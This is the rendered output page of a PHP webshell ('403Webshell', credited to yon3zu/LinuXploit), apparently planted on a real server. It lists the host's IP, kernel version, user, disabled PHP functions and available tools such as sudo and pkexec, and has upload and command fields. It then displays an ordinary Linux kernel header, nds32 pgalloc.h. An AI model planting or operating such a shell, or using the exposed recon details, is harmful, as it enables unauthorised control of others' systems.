403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.188.60
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/src/linux-headers-5.15.0-143/arch/nds32/include/asm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-5.15.0-143/arch/nds32/include/asm/pgalloc.h
/* SPDX-License-Identifier: GPL-2.0 */
// Copyright (C) 2005-2017 Andes Technology Corporation

#ifndef _ASMNDS32_PGALLOC_H
#define _ASMNDS32_PGALLOC_H

#include <asm/processor.h>
#include <asm/cacheflush.h>
#include <asm/tlbflush.h>
#include <asm/proc-fns.h>

#define __HAVE_ARCH_PTE_ALLOC_ONE
#include <asm-generic/pgalloc.h>	/* for pte_{alloc,free}_one */

extern pgd_t *pgd_alloc(struct mm_struct *mm);
extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);

static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
{
	pgtable_t pte;

	pte = __pte_alloc_one(mm, GFP_PGTABLE_USER);
	if (pte)
		cpu_dcache_wb_page((unsigned long)page_address(pte));

	return pte;
}

/*
 * Populate the pmdp entry with a pointer to the pte.  This pmd is part
 * of the mm address space.
 *
 * Ensure that we always set both PMD entries.
 */
static inline void
pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmdp, pte_t * ptep)
{
	unsigned long pte_ptr = (unsigned long)ptep;
	unsigned long pmdval;

	BUG_ON(mm != &init_mm);

	/*
	 * The pmd must be loaded with the physical
	 * address of the PTE table
	 */
	pmdval = __pa(pte_ptr) | _PAGE_KERNEL_TABLE;
	set_pmd(pmdp, __pmd(pmdval));
}

static inline void
pmd_populate(struct mm_struct *mm, pmd_t * pmdp, pgtable_t ptep)
{
	unsigned long pmdval;

	BUG_ON(mm == &init_mm);

	pmdval = page_to_pfn(ptep) << PAGE_SHIFT | _PAGE_USER_TABLE;
	set_pmd(pmdp, __pmd(pmdval));
}

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit